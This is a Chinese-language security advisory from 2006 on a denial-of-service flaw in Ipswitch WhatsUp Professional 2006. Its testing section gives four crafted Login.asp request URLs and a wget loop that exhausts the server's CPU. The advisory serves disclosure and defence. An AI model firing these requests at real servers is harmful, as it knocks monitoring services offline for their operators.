发布日期：2006-02-22
更新日期：2006-02-23

受影响系统：

Ipswitch WhatsUp Professional 2006

描述：

---

BUGTRAQ  ID: 16771

Whatsup Professional软件是Ipswitch公司开发的监视TCP/IP、NetBEUI和IPX网络状态的工具。

Whatsup Professional在处理某些畸形请求时存在问题，远程攻击者可能利用此漏洞对服务器程序执行拒绝服务攻击。

Whatsup Professional的NmService.exe没有正确的处理某些请求。如果用户访问了特制的URL请求的话，就可能导致NmService使用100%的CPU资源，造成拒绝服务。

<*来源：Josh Zlatin （jzlatin@ramat.cc）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=114063067425157&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=

http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

PoC：

while [ 1 ];
do
    wget -O /dev/null \
http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=;  done

建议：

---

厂商补丁：

Ipswitch
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ipswitch.com/

浏览次数：3908
严重程度：0（网友投票）